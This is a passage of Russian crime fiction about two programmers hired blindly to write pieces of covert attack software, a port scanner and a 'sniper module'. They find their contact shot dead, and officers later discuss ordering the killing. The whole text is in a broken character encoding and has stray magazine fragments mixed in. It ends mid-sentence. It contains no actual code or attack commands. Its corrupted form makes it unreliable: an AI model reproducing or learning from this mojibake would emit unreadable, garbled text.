Êîãäà Ðûêîâ ïåðå÷èòàë ïèñüìî â ÷åòâåðòûé èëè ïÿòûé ðàç, òî ïî-
÷óâñòâîâàë, ÷òî ïîêðûëñÿ ëèïêèì è õîëîäíûì ïîòîì. Îí ïîíÿòèÿ íå
èìåë, êàê òàê ñëó÷èëîñü, ÷òî âîò îí çäåñü � à â êîðèäîðå ëåæèò ìåðò-
âåö, îáîè èçìàçàíû êðîâüþ, íà ñòîëå ïåðåä íèì äèñê ñ ïðîãðàììîé, íà
ýêðàíå êîìïüþòåðà ïèñüìî îò íåèçâåñòíîãî çàêàç÷èêà è ñîâåðøåííî
íåèçâåñòíî, ÷òî åùå ñëó÷èòñÿ â åãî æèçíè â áëèæàéøèå ïÿòü ìèíóò.

Êîãäà îí çàáåæàë íà øåñòîé ýòàæ, ãäå äîëæíà áûëà áûòü êâàðòè-
ðà Ëóêèíà, òî åìó ïîêàçàëîñü, ÷òî ñâåðõó òÿíåò êàêèì-òî äûìêîì, íà-

ïîìèíàþùèì çàïàõ ñãîðåâøåãî ôåéåðâåðêà. Ïðàâäà, îùóùåíèå áûëî
ìèìîëåòíûì, áóêâàëüíî íà äîëþ ñåêóíäû, è Ðûêîâà îíî íå îñòàíîâè-
ëî � íî åäâà îí ïîòÿíóë íà ñåáÿ ïðèîòêðûòóþ äâåðü ïîñëå íåñêîëüêèõ
áåçîòâåòíûõ çâîíêîâ, êàê âñå ñðàçó ñòàëî ïîíÿòíî�

Õîçÿèí êâàðòèðû íå ìîã îòêðûòü åìó äâåðü. Îí áûë ìåðòâ. Ñî-
âåðøåííî è íåîáðàòèìî.

Íå òî ÷òîáû Ðûêîâ ÷àñòî âèäåë ìåðòâåöîâ � íî âîò ïî÷åìó-òî
çäåñü è ñåé÷àñ îí íå èñïóãàëñÿ. Ïîñòîÿë íà ïîðîãå, ïîòîì âîðîâàòî îã-
ëÿíóëñÿ � íå óâèäåë ëè êòî, êàê îí âõîäèò, ñêîëüçíóë âçãëÿäîì ïî
äâåðíûì ãëàçêàì, ñäåëàë øàã âïåðåä è ïðèòâîðèë äâåðü. Ëóêèí ñìîò-
ðåë íåâèäÿùèìè ãëàçàìè êóäà-òî â ïîòîëîê, ãîëîâà ñêëîíåíà ê ïëå-
÷ó� Íà ðóáàøêå îò÷åòëèâî âûäåëÿëèñü äâà ïóëåâûõ ðàíåíèÿ � êðîâü
òåìíàÿ, ðóáàøêà ïðîïèòàëàñü åé íàñòîëüêî, ÷òî êàçàëàñü êàêèì-òî
ïàíöèðåì. Íà îáîÿõ � òàì, ãäå îí ñïîëçàë � íåñêîëüêî ìàçêîâ êèñòè
ïîëóïüÿíîãî õóäîæíèêà, êðîâàâûå ñëåäû, àëûé îòïå÷àòîê ëàäîíè è
áîëüøàÿ äûðêà â ñòåíå.
� Íàâûëåò, � òèõî ñêàçàë Ðûêîâ è âäðóã ïîíÿë, ÷òî íàõîäèòñÿ îäèí íà
îäèí ñ ìåðòâåöîì. È ñåé÷àñ ïðîñòî çâåçäíûé ÷àñ ó òåõ, êòî êîãäà-íè-
áóäü â æèçíè õîòåë åãî ïîäñòàâèòü. Çàéäè ñþäà â ýòó ìèíóòó ëþáîé ÷å-
ëîâåê � è íå îòìîåøüñÿ î÷åíü è î÷åíü äîëãî�

Ðàçâåðíóâøèñü, îí óæå õîòåë óéòè, è ÷åì áûñòðåå, òåì ëó÷øå, íî
â êàêîé-òî ìîìåíò åìó âäðóã ñòàëî æàëêî òîé ðàáîòû, ÷òî îêàçàëàñü
íèêîìó íå íóæíîé. Îí ïîòðàòèë äâå íåäåëè ñâîåé æèçíè íà ðåøåíèå
ïðîáëåìû � à ÷åëîâåê, êîòîðîìó îí íåñ äèñê, áûë íå â ñîñòîÿíèè îöå-
íèòü åãî òðóä. È òîãäà îí ðåøèë õîòÿ áû óçíàòü, ñ êåì èìååò � òî÷íåå,
èìåë äåëî � è ïðîøåë â êîìíàòó.

Âêëþ÷åííûé êîìïüþòåð ñðàçó áðîñèëñÿ åìó â ãëàçà � êàê ÷åëî-
âåêó, îáèòàþùåìó â îñíîâíîì çà êëàâèàòóðîé. Íà ýêðàíå áûë îòêðûò
ïî÷òîâèê. Ðûêîâ ïîäîøåë ïîáëèæå è óâèäåë ïèñüìî, àäðåñîâàííîå
óáèòîìó (çà íåèìåíèåì â ýòîé êîìíàòå íèêîãî äðóãîãî). Ïðî÷èòàë, ïîñ-
ìîòðåë íà ÷àñû:
� ß îïîçäàë� � õìóðî ñêàçàë îí. � Õîòÿ � ÷åðò åãî çíàåò, ÷òî áûëî,
ïðèäè ÿ âîâðåìÿ. Çíà÷èò òàê � êëþ÷åâûå ñëîâà «ãîíîðàð» è «Àëìà-
çîâ». Ìåðòâåö äîëæåí áûë ïåðåäàòü ìíå äåíüãè è âñòðåòèòüñÿ åùå
ñ îäíèì ÷åëîâåêîì. Âðåìåíè ó ìåíÿ ìàëî.

Îí îïåðñÿ ðóêàìè íà êîìïüþòåðíûé ñòîë è çàäóìàëñÿ�
Äâå íåäåëè íàçàä ê íåìó ïðèøëè ãîñòè. Äâà ÷åëîâåêà, âûãëÿäåâ-

øèõ íàñòîëüêî ñåðî è áåçëèêî, ÷òî ïîñëå èõ óõîäà îí íå ìîã âñïîìíèòü
èõ ëèö. Ïðèøëè, íå ïðåäñòàâèëèñü, äîëãî îòìàë÷èâàëèñü â êðåñëàõ,
ïåðåãëÿäûâàÿñü ìåæäó ñîáîé � à ïîòîì ïðåäëîæèëè ðàáîòó. Ïðè÷åì
ðàáîòà áûëà íàñòîëüêî ñëîæíîé è çàïóòàííîé � íå ïî ñóòè, à ïî òîìó
êîëè÷åñòâó òóìàíà, êîòîðûé îíè íàïóñòèëè âîêðóã äà îêîëî, � ÷òî Ðû-
êîâ ïîíà÷àëó çàñîìíåâàëñÿ âî âìåíÿåìîñòè ýòîé ïàðî÷êè, íàïîìíèâ-
øåé åìó ëó÷øèå ãîäû, îòäàííûå ïèîíåðñêîé îðãàíèçàöèè è èãðå «Çàð-
íèöà». Îíè ïîñòîÿííî óâîäèëè âçãëÿäû â ñòîðîíó, èãðàëè â êàêèõ-òî
àãåíòîâ, ïóòàëè òåðìèíû, ñâîè ñîáñòâåííûå âû÷óðíûå è ÿâíî íåíàñòî-
ÿùèå èìåíà, ïî÷åñûâàëèñü, ïîäêàøëèâàëè, êóñàëè ãóáû � â îáùåì,
ïðîèçâîäèëè âïå÷àòëåíèå æóòêèõ íåïðîôåññèîíàëîâ. Íî ýòî áûëî
òîëüêî ïåðâîå âïå÷àòëåíèå. Îíî æå � îáìàí÷èâîå.

Ïîòîìó ÷òî êîãäà îíè óøëè � Ðûêîâ äåðæàë â ðóêàõ ïÿòüñîò äîë-
ëàðîâ è èìåë çà äóøîé îáåùàíèå íàïèñàòü ïðîãðàììó. Íàïèñàòü íå÷-
òî ñîâåðøåííî íåïîíÿòíîå, íà ïåðâûé âçãëÿä ãëóïîå, íåëåïîå è íåíóæ-
íîå. Íî ÷åì áîëüøå îí äóìàë íàä òåì, êàê åãî ëîâêî è íåçàìåòíî ïîä-
âåëè ê öåëè � òåì áîëüøå ïðèõîäèë ê ìûñëè î âñåñèëèè òîé îðãàíèçà-
öèè, ÷òî ïðèñëàëà åìó ñâîèõ àãåíòîâ. Âîò òîëüêî ïîíÿòü, ÷òî æå îò íåãî
õîòåëè, îí ñìîã ëèøü íà òðåòèé äåíü � êîãäà èçó÷èë òå íàðàáîòêè, ÷òî
áûëè ïðåäëîæåíû åìó â êà÷åñòâå îáðàçöîâ.

Îí äîëæåí áûë ñîçäàòü ñêàíåð. È âðîäå áû � íó ÷òî â ýòîì
ñëîæíîãî? Ñêàíåðîì áîëüøå, ñêàíåðîì ìåíüøå � â èíòåðíåòå èõ
ïðóä ïðóäè. Íî ÷òî-òî òóò áûëî íå òàê�

Ðûêîâ ñìîòðåë íà òî, ÷òî ó íåãî ïîëó÷àåòñÿ, è ïîæèìàë ïëå÷àìè
� åìó ÿâíî íå ñêàçàëè âñåé ïðàâäû, íå ïîñòàâèëè ñòîïðîöåíòíî ïî-
íÿòíîå óñëîâèå. Åãî èñïîëüçîâàëè «â òåìíóþ». Ïîòîìó ÷òî ó ýòîãî ñêà-
íåðà ÿâíî ÷åãî-òî íå õâàòàëî.

Ðûêîâ àáñîëþòíî îò÷åòëèâî âèäåë òå òî÷êè ñîïðèêîñíîâåíèÿ, êî-
òîðûå âåëè � äîëæíû áûëè âåñòè � â íèêóäà. Êóäà-òî ê äðóãîé ïðîã-
ðàììå, êîòîðóþ ïðèëåïÿò ê åãî ñêàíåðó � è ÷åðò åãî çíàåò, ÷òî èç ýòî-
ãî ïîëó÷èòñÿ. «Âåëèêîëåïíàÿ êîëõîçíàÿ ñíîïîâÿçàëêà», � êàê ñêàçàë
Îñòàï Áåíäåð, ãëÿäÿ íà «Àíòèëîïó Ãíó» Àäàìà Êîçëåâè÷à�
� È âåäü ÿ íàïèñàë, � òèõî ïðîèçíåñ Ðûêîâ, ãëÿäÿ íà ìåðòâåöà â êî-
ðèäîðå. � Íàïèñàë ýòîò ïðîêëÿòûé ñêàíåð � ñîâåðøåííî íå ïîíè-
ìàÿ ðÿäà ïðîöåäóð, êîòîðûå ïðèêðóòèë ê íåìó ïî çàêàçó òîé ïàðî÷êè.
Íàäåþñü, íåêòî Àëìàçîâ, ñ êîòîðûì óæå ðàñïëàòèëèñü, ðàññêàæåò
ìíå, ÷òî æå íàïèñàë îí.

10
6

| Î
Ô

Ô
Ò

Î
Ï

È
Ê



Ðûêîâ áûë óâåðåí: îí è åãî íåèçâåñòíûé íàïàðíèê ïèñàëè ïî êó-
ñî÷êàì êàêóþ-òî î÷åíü êðèìèíàëüíóþ âåùü. Áóäó÷è ÷åëîâåêîì ëîãè-
÷åñêè ìûñëÿùèì, îí ïðåêðàñíî ïîíÿë, ÷òî äëÿ êîíñïèðàöèè íåò íè÷åãî
ëó÷øå ïîäîáíîé ñèòóàöèè. Âñå ýòî áûëî îïèñàíî åùå Æþëü Âåðíîì
â åãî êíèãàõ î «Íàóòèëóñå» � êàïèòàí Íåìî ñòðîèë ñâîþ ëîäêó íà ðàç-
íûõ çàâîäàõ ìèðà ïî ÷àñòÿì, íè îäèí èíæåíåð íå èìåë ïðåäñòàâëåíèÿ
î òîì, ÷òî äîëæíî ïîëó÷èòüñÿ. Òàê è â ñëó÷àå ñ íèìè � êóñêè ïðîãðàì-
ìû äîëæåí ñâåñòè âîåäèíî òîò, ÷üÿ êðîâü ñåé÷àñ áûëà ðàçìàçàíà íà
ñòåíå â êîðèäîðå. Íî îí óíåñ òàéíó ñ ñîáîé�

Ðûêîâ íåìíîãî ïîñòîÿë â äâåðÿõ, à ïîòîì ïðåîäîëåë ëåãêóþ
áðåçãëèâîñòü è ñòðàõ, ïîäîøåë ê óáèòîìó è îñìîòðåë åãî ïðîïèòàííóþ
êðîâüþ îäåæäó. Â êàðìàíàõ ðóáàøêè íè÷åãî íå áûëî � è ýòî áûëî
çäîðîâî, ïîòîìó ÷òî îäíà ïóëÿ ïðîáèëà ëåâûé êàðìàí, òàì, ãäå ñåðä-
öå; âðÿä ëè êîíâåðò ñ äåíüãàìè óöåëåë áû â òàêîé ïåðåäðÿãå.

Êóëåê ñ îêóðêàìè ÿâíî íå áûë ïîõîæ íà èñòî÷íèê äåíåã; Ðûêîâ
îòïèõíóë åãî ïîäàëüøå, ïîòîì ïîøàðèë â êàðìàíàõ áðþê. Ïóñòî. Îñòà-
âàëîñü èñêàòü ïî âñåé êâàðòèðå.

Îí ñäåëàë íåñêîëüêî øàãîâ ïî êîðèäîðó, êîãäà ñçàäè ðàçäàëñÿ
ëåãêèé øóì. Ðûêîâ çàìåð; ñåðäöå çàñòó÷àëî, ñëîâíî ïóëåìåò. Âìèã ïî-
õîëîäåâ, îí ìåäëåííî îáåðíóëñÿ � è óâèäåë, êàê òðóï õîçÿèíà, ïîòðå-
âîæåííûé âî âðåìÿ îáûñêà, çàâàëèâàåòñÿ íàáîê. Ìåðòâåö òêíóëñÿ
ëáîì â ñòîéêó äëÿ îáóâè è çàìåð � äàëüøå åìó óæå ïàäàòü áûëî íåêó-
äà. Ðûêîâ ïîïûòàëñÿ ïðîãëîòèòü êîìîê ñëþíû � ñðàçó íå ïîëó÷èëîñü,
âî ðòó áûëî óæàñ êàê ñóõî. Èç ãîðëà âûðâàëñÿ ñíà÷àëà òèõèé ñòîí, ïî-
òîì íåñêîëüêî êðåïêèõ, íî òàêèõ æå òèõèõ ìàòþãîâ.
� Òàê æå ìîæíî ñåäûì îñòàòüñÿ, � ïðîñêðèïåë îí çóáàìè, ïðèñëó-
øàëñÿ è ïðîäîëæèë ïîèñêè ñâîåãî ãîíîðàðà. � Íàäî áû ïîáûñòðåå �
÷åðåç ïÿòü ìèíóò ïðèäåò ìîé êîëëåãà�

Îí òùàòåëüíî îáûñêàë êîìíàòó � è êîãäà â äâåðü ïîñòó÷àëè,
êîíâåðò ñ ãîíîðàðîì ëåæàë óæå ó íåãî â êàðìàíå.

Ïðÿòàòü äåíüãè ìåðòâûé õîçÿèí ÿâíî íå óìåë�

* * * * *
Îíè óäîáíî ðàñïîëîæèëèñü â êðåñëàõ äðóã íàïðîòèâ äðóãà. Ðûêîâ âíè-
ìàòåëüíî ðàññìàòðèâàë ñâîåãî íîâîãî êîëëåãó ïî ïðîãðàììåðñêîìó
öåõó, êîòîðûé, íåñìîòðÿ íà áûñòðóþ àäàïòàöèþ ê ïðîèñõîäÿùåìó,
âðåìÿ îò âðåìåíè êîñèëñÿ â ñòîðîíó êîðèäîðà, ãäå ëåæàë ìåðòâûé õî-
çÿèí êâàðòèðû.

Ðûêîâ, ê òîìó âðåìåíè íàøåäøèé â øêàôó è ñâîé ãîíîðàð, è äî-
êóìåíòû óáèòîãî, óæå çíàë, ÷òî ãðóäü ïðîñòðåëèëè ãðàæäàíèíó Ëóêèíó
Ñåðãåþ Äìèòðèåâè÷ó, èìåþùåìó äèïëîì î âûñøåì îáðàçîâàíèè, êî-
òîðûì ìîæíî áûëî, îñòàíüñÿ îí â æèâûõ, ãîðäèòüñÿ åùå î÷åíü è î÷åíü
äîëãî. Â ãîëîâå êîå-÷òî ïîòèõîíüêó ïðîÿñíÿëîñü�

È âîò òåïåðü îí ïðèñòàëüíî ðàçãëÿäûâàë Àëìàçîâà, íå òîðîïÿñü
çàäàâàòü åìó âîïðîñû. Ïåðåä ñîáîé îí âèäåë ÷åëîâåêà ñðåäíèõ ëåò,
äåðæàùåãîñÿ äîñòàòî÷íî óâåðåííî, íî ñ íåêîòîðîé äîëåé ðàñòåðÿí-
íîñòè. Òðóï â êîðèäîðå çíà÷èòåëüíî ïîäíÿë óðîâåíü àäðåíàëèíà â åãî
êðîâè, îí ñ îãðîìíûì òðóäîì ïðåîäîëåë â ñåáå íåïðèÿçíü, ñòðàõ è íå-
âåðèå è âîøåë â êîìíàòó. Â îòëè÷èå îò Ðûêîâà, ïðèøåë îí âîâðåìÿ,
âåæëèâî ñòîÿë íà ïëîùàäêå âîçëå îòêðûòîé äâåðè â îæèäàíèè õîçÿè-
íà è íå òîðîïèëñÿ ïðåäñòàâëÿòüñÿ. Ðûêîâ óæå ãðåøèë íà òî, ÷òî ñóùå-
ñòâîâàë êàêîé-òî ïàðîëü, êîòîðûé Ëóêèí óíåñ ñ ñîáîé â ìîãèëó � íî
Àëìàçîâ, íàïîìèíàÿ ïðîôåññîðà Ïëåéøíåðà, íàçâàëñÿ ïîñëå íåêîòî-
ðûõ ðàçäóìèé, çà÷åì-òî ïîõëîïàë ñåáÿ ïî êàðìàíó êóðòêè è ïåðåñòó-
ïèë ïîðîã.

Óáèòîãî îí óâèäåë ñðàçó è êàê-òî íåïðîèçâîëüíî ðâàíóëñÿ íàçàä,
íî Ðûêîâ åãî óäåðæàë çà ðóêàâ. Îíè èçîáðàçèëè êàêèå-òî òðåïûõàíèÿ,
ïîõîæèå íà áîðüáó äâóõ ðàõèòèêîâ � Ðûêîâ íå îñîáî ñòàðàëñÿ óäåð-
æàòü, à Àëìàçîâ, ïîõîæå, ïðîñòî ñîáèðàëñÿ óïàñòü â îáìîðîê îò óâè-
äåííîãî è îñîáîãî ñîïðîòèâëåíèÿ íå îêàçûâàë. Â èòîãå îíè îêàçàëèñü
òàì, ãäå è ñèäåëè óæå ìîë÷à ìèíóò äåñÿòü � Ðûêîâ òîëüêî âñòàâàë íà
íåñêîëüêî ñåêóíä, âñïîìíèâ, ÷òî âõîäíóþ äâåðü îíè òàê è îñòàâèëè
îòêðûòîé. Ïðèøëîñü çàêðûòü çàìîê, ÷òîáû îãðàäèòü ñåáÿ îò âòîðæå-
íèÿ ïîñòîðîííèõ. Àëìàçîâ íàñòîðîæåííî ïîñòóêèâàë ïàëüöàìè ïî ïîä-
ëîêîòíèêó è âñå âðåìÿ ÷òî-òî ïðîâåðÿë â êàðìàíå.
� Áóäåì çíàêîìèòüñÿ? � íå óäåðæàëñÿ Ðûêîâ. Àëìàçîâ ïîñìîòðåë íà
íåãî, ïîòîì åùå ðàç â êîðèäîð èñïðîñèë:
� Ìîæåò, åãî íàêðûòü ÷åì-íèáóäü?
� Ñîãëàñåí, � Ðûêîâ â î÷åðåäíîé ðàç âñòàë, ïðîøåë â ïðèõîæóþ è,
ñíÿâ ñ âåøàëêè ïëàù, íàêèíóë íà Ëóêèíà. � Óñòðîèò? � ñïðîñèë îí,
íå îòõîäÿ îò ìåðòâåöà.

Àëìàçîâ êèâíóë è ñêàçàë:
� Ìåíÿ Àíäðåé çîâóò. Àíäðåé Àëìàçîâ.
� Àíòîí Ðûêîâ. À ýòî áûë ÷åëîâåê, ê êîòîðîìó ìû íåñëè ñâîè ïðîã-

ðàììû, � îí ïîïðàâèë ïëàù è
âåðíóëñÿ â êîìíàòó. � ß íà-
øåë äîêóìåíòû� Ëóêèí, ïðîã-
ðàììèñò. Ïîêà âñå.

Àëìàçîâ ïîïðîáîâàë íà
âêóñ ôàìèëèþ óáèòîãî, îòðè-
öàòåëüíî ïîêà÷àë ãîëîâîé:
� Íèêîãäà íå ñòàëêèâàëñÿ.
� Âû çíàåòå, êòî íàíèìàë âàñ?
� Äâîå� � Àëìàçîâ ïîæàë
ïëå÷àìè. � Êàêèå-òî còðàííûå.
� Îïèñàòü ñìîæåòå?
� Äà îíè� Íåçàïîìèíàþùè-
åñÿ. Ñåðûå.
� Òî÷íî� � êèâíóë Ðûêîâ.
� Òå æå, ÷òî è êî ìíå ïðèõî-
äèëè. ß òîæå íèêîãî íå çàïîì-
íèë. Äåíüãè äàâàëè?
� À âàì-òî ÷òî?
� Ïðîñòî â ïèñüìå áûëî íàïèñàíî, ÷òî ìíå çàïëàòÿò ñåãîäíÿ, à ñ âàìè
óæå ðàññ÷èòàëèñü � çàðàíåå. Ìíå äàæå êàê-òî îáèäíî ñòàëî � íå
â ñìûñëå äåíåã, à â îòíîøåíèè òîãî, ÷òî âàì çàïëàòèëè âïåðåä. Ïîëó-
÷àåòñÿ, ÷òî âàì äîâåðÿëè � à ìíå íåò�

Ðûêîâ ïîæàë ïëå÷àìè è âîïðîñèòåëüíî ïîñìîòðåë íà Àëìàçîâà,
îæèäàÿ îòâåòà èëè êàêîãî-íèáóäü êîììåíòàðèÿ.
� Ó ìåíÿ � îáñòîÿòåëüñòâà� � Àëìàçîâ âèíîâàòî ïîñìîòðåë íà Ðû-
êîâà. � Ñåìåéíûå. Âûñøåå îáðàçîâàíèå. Ó äî÷åðè. Íàäî áûëî ïëà-
òèòü, è ñðî÷íî. ß íå ìîã æäàòü.
� È âàì ïîâåðèëè? � Ðûêîâ óäèâëåííî ïîäíÿë áðîâè. � Âîò òàê âîò
� âçÿëè è ïîâåðèëè íà ñëîâî?

Àëìàçîâ ðàçâåë ðóêàìè:
� Íå òî ÷òîáû ïîâåðèëè. Äåíåã äàëè. Ñðàçó. Ýòî, çíàåòå, êàê â «Åðà-
ëàøå» áûëî êîãäà-òî � áðàçèëüñêàÿ ñèñòåìà. Åñëè ÷òî íå òàê � ìîÿ
äî÷ü ïîä ïðèöåëîì. Ñíà÷àëà îíà, à ïîòîì óæå ÿ.

Ðûêîâ ïðèêóñèë ãóáó è âäðóã ïî÷óâñòâîâàë, â êàêîå äåðüìî îí
âëÿïàëñÿ. Òå äâîå, ÷òî èãðàëè ñ íèì â äóðà÷êîâ, âûñòàâèëè Àëìàçîâó
íåäâóñìûñëåííûé óëüòèìàòóì. Ñëàâà áîãó, ó íåãî ñàìîãî âîçìîæ-
íîñòü øàíòàæà èñêëþ÷àëàñü � äåòüìè íå îáçàâåëñÿ, ðîäèòåëè óìåðëè
äàâíî� Áëèçêèõ ëþäåé, çà æèçíü êîòîðûõ îí áû ïåðåæèâàë, â íàñòîÿ-
ùèé ìîìåíò ó Ðûêîâà íå áûëî.
� Ñêàæèòå, � âûäåðæàâ ïàóçó, ñïðîñèë îí, � êàê âû ñ÷èòàåòå, íàì
ñòîèò ïðîäîëæàòü èãðó?
� Êàêóþ èãðó? � Àëìàçîâ óäèâëåííî ïîäíÿë áðîâè. � ß íå âèæó
çäåñü íèêàêîé èãðû. Âñå ïðåäåëüíî ðåàëüíî. Íàì äàëè çàäàíèå � âàì
è ìíå. Ìû îáà � âû, íàäåþñü, òîæå � åãî âûïîëíèëè è ïðèíåñëè âñå
ïî íàçíà÷åíèþ. ×åëîâåêà, êîòîðûé îòâå÷àë çà òî, ÷òîáû ïðèíÿòü ó íàñ
ðàáîòó, óáèëè. È âû ñ÷èòàåòå, ÷òî ñ íàìè êòî-òî èãðàåò? Òîãäà êàê íàç-
âàòü ýòó èãðó? «Êîøêè-ìûøêè»? «Ïðÿòêè»?
� Ñêîðåå, «Êàçàêè-ðàçáîéíèêè», � áóðêíóë Ðûêîâ. � Äà óæ, âû ïðà-
âû. È âñå-òàêè � ðàç óæ ìû çäåñü, ìîæåò, ñòîèò âûéòè íà ñâÿçü ñ ÷åëî-
âåêîì, óêàçàííûì â ïîñëåäíåì ïèñüìå?
� Ñ êàêîé öåëüþ? � Àëìàçîâ ïðîìîêíóë ïëàòêîì âëàæíóþ øåþ. �
Ïðèçîâàÿ èãðà? Åñëè çäåñü âñå î÷åíü è î÷åíü ñåðüåçíî � áîþñü, ñ íà-
ìè íèêòî íå çàõî÷åò èìåòü äåëà. Íàâåðíÿêà òàì åñòü ïàðîëè äëÿ ñâÿçè,
íåêèå óñëîâíîñòè, êîòîðûå íàì íå ïðåîäîëåòü. Ïîñòàâüòå ñåáÿ íà ìåñ-
òî òîãî, êòî íàçâàí «èíñòðóêòîðîì». Âû áû ïîâåðèëè ïåðâîìó, êòî ïîñ-
òó÷àëñÿ ê âàì ÷åðåç Ñåòü?

Ðûêîâ îòðèöàòåëüíî ïîêà÷àë ãîëîâîé. Â ãîëîâå îí óæå ïðîêðó-
òèë ïàðó äèàëîãîâ ñ ýòèì «èíñòðóêòîðîì», íî âîò íàñ÷åò ïàðîëåé �
òóò áûëî ãëóõî�
� Ñêàæèòå, à ÷òî� Òî åñòü � êàêîå çàäàíèå áûëî äàíî âàì? � ïîèí-
òåðåñîâàëñÿ Ðûêîâ ñïóñòÿ íåêîòîðîå âðåìÿ. Ñëèøêîì òÿãîñòíûì áûëî
ñèäåíèå â ýòîé êîìíàòå â ïîëíîé òèøèíå � êàæäûé èç íèõ äóìàë
î òîì, ÷òî æå âñå-òàêè ìîæåò ñëó÷èòüñÿ äàëüøå�
� Ìîäóëü, � îòîçâàëñÿ Àëìàçîâ, óæå áåçî âñÿêèõ ýìîöèé ðàçãëÿäû-
âàÿ òðóï Ëóêèíà â êîðèäîðå. � Ìîäóëü ñíàéïåðñêîé ñòðåëüáû � ýòî 
ÿ åãî òàê íàçâàë. Íà ñàìîì äåëå ýòî äîëæíî áûëî áûòü íå÷òî áîëüøåå.
Ðàñøèðÿåìîå, òàê ñêàçàòü. Åñëè êî âñåìó ýòîìó ïðèêðóòèòü êîå-êàêèå
óñëîâèÿ, òî� Â îáùåì, ìîæíî ñòðåëÿòü èç ÷åãî óãîäíî è êóäà óãîäíî.
Ñî ñíàéïåðñêîé òî÷íîñòüþ.

Ðûêîâ ìîë÷àë. Äàð ðå÷è êóäà-òî ïîäåâàëñÿ. Íàïðî÷ü. Âåäü åñëè
îíè äîëæíû áûëè ñäåëàòü ÷àñòè îäíîãî öåëîãî � òî íà êîé õðåí ñäàëñÿ
åãî ñêàíåð ïîðòîâ, ïóñòü è î÷åíü õèòðûé, ñî ñâîåé èçþìèíêîé, åñëè åãî
íàïàðíèê ïî «÷åðíîìó äåëó» ñîçäàë òàêóþ ìîùíóþ âîåííóþ èãðóøêó?

ÂÐÀ×È
ÇÀÏÐÅÙÀÞÒ.
À ÏÎÐÎÉ
ÕÎ×ÅÒÑß �
ÀÆ ÄÎ ÑËÅÇ�
ÒÛ ÌÍÅ ÄÀÉ
ÐÅÇÓËÜÒÀÒ!
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Àëìàçîâ òåì âðåìåíåì âçäîõíóë, ñíîâà ïîõëîïàë ñåáÿ ïî êàðìà-
íó è âûòàùèë îòòóäà äèñê.
� Âîò, � ïîêàçàë îí Ðûêîâó. � Ìîäóëü�

Òîò ñóìåë òîëüêî êèâíóòü â îòâåò�

* * * * *
� Âû îòäàåòå ñåáå îò÷åò â ïðîèñõîäÿùåì? � ãåíåðàë ãîâîðèë ìåäëåí-
íî, âçâåøèâàÿ êàæäîå ñëîâî. � Âû ïîíèìàåòå, â êàêóþ ïðîïàñòü ïîêà-
òèìñÿ âñå ìû, åñëè âàøè ðàññóæäåíèÿ î ñìûñëå æèçíè è ïñèõîëîãèçìå
ñèòóàöèè îêàæóòñÿ íå áîëåå ÷åì ðàññóæäåíèÿìè íàä òðóïîì? Ýòàêîé
çàóïîêîéíîé ñëóæáîé � íàä âàøèì è ìîèì ðàññòðåëÿííûìè òåëàìè?

Ëóêîâíèêîâ, êàê è âñåãäà ñòîÿë íàâûòÿæêó, ãëÿäÿ âûïó÷åííû-
ìè ãëàçàìè êóäà-òî â ñòåíó. Ãåíåðàë ïðèùóðèëñÿ è ïîñòó÷àë êîí-
÷èêàìè ïàëüöåâ ïî ñòîëó. Ïîäïîëêîâíèê íå ïîäàë è âèäà, ÷òî ñëû-
øèò êàêîé-òî çâóê.
� Âû ïîíèìàåòå, ÷òî ýòî äàæå íå ñàìîóïðàâñòâî?

Ëóêîâíèêîâ ìîë÷àë. Ñòàâêè áûëè ñäåëàíû. Îáðàòíîãî õîäà íåò.
� Êîãäà ÿ ãîâîðèë «õðåí ñ íèì», ÿ� Ìíå äàæå â ãîëîâó�

Ãåíåðàë ñåë â êðåñëî è îáõâàòèë ãîëîâó ðóêàìè.
� ×èïïîëèíî, ñóêà� � îí íå ìîã íè÷åãî ñêàçàòü, êðîìå äâóõ ýòèõ
ñëîâ, â êîòîðûõ âìåñòå ñîáðàëèñü è íåíàâèñòü ê èäèîòó-ïîäïîëêîâíè-
êó, çàíèìàþùåìóñÿ êàêèìè-òî çàêóëèñíûìè èãðàìè, è ñòðàõ çà ñâîþ
æèçíü, è áåçûñõîäíîñòü. � ×òî æ òû òàê ñî ìíîé�

Ëóêîâíèêîâ ñïîêîéíî ïðîãëîòèë è êëè÷êó, è «ñóêó», ïîñëå ÷åãî
áåçî âñÿêîé êîìàíäû ñòàë «âîëüíî» è ñïðîñèë:
� Âû â ñîñòîÿíèè ìåíÿ âûñëóøàòü, òîâàðèù ãåíåðàë-ëåéòåíàíò? ß ãî-
òîâ ïðèâåñòè íåñêîëüêî àðãóìåíòîâ â ïîëüçó òîãî, ÷òî ìîÿ ñõåìà�
ìîé ïëàí� ÷òî âñå ñðàáîòàåò.

Ãåíåðàë ïîäíÿë íà íåãî íåâèäÿùèé âçãëÿä è ñïðîñèë:
� Êòî çàñòðåëèë Ëóêèíà?

Ïîäïîëêîâíèê âçäîõíóë è îòâåòèë:
� ß.
� Òî åñòü? � êîìàíäóþùèé íàïðÿãñÿ è âïèëñÿ ãëàçàìè, âíåçàïíî îá-
ðåòøèìè çðåíèå, â ïîä÷èíåííîãî. � Òû? Òû, Ïåñòàëîööè?
� ×èïïîëèíî, � ìàøèíàëüíî ïîïðàâèë Ëóêîâíèêîâ. � Õîòÿ, åñëè
óãîäíî� Äåëî â òîì, ÷òî íàì íóæíî îò ýòîé ïàðî÷êè òîëüêî îäíî � ðå-
çóëüòàò. ß æå íå ñâîèìè ðóêàìè�
� ß ïîíèìàþ, � ãåíåðàë êàê-òî áåñïîìîùíî ìàññèðîâàë ïàëüöû è
ïîñòîÿííî õîòåë âçÿòü ñî ñòîëà çàæèãàëêó, íî îòäåðãèâàë îò íåå ðóêè,
ñëîâíî îíà áûëà ðàñêàëåííîé. � Ðåçóëüòàò è åùå ðàç ðåçóëüòàò� Ëó-
êèí áûë ëó÷øèì, ïîíèìàåøü� Îí âûïîëíèë çà ïîñëåäíèå òðè ãîäà
íåñêîëüêî çàäàíèé. Îí áûë ãåíèé, òû ýòî ïîíèìàåøü, ñâîëî÷ü òû òà-
êàÿ� È òåïåðü îí óáèò.

Êîìàíäóþùèé âñòàë, îáîøåë ñòîë è ïðèáëèçèëñÿ ê Ëóêîâíèêîâó.
Òîò àâòîìàòè÷åñêè íàïðÿã òåëî, âûòÿíóâøèñü â ñòðóíó. Ñòîÿòü «âîëü-
íî» åìó ïî÷åìó-òî âíåçàïíî ðàñõîòåëîñü.
� ß ãîòîâ âûñëóøàòü òâîè áðåäíè, ïîäïîëêîâíèê, � ñóõî êèâíóë ãåíå-
ðàë, åäâà íå çàäåâ Ëóêîâíèêîâà. � È äàæå âûñëóøàþ èõ, íå ïðîðîíèâ
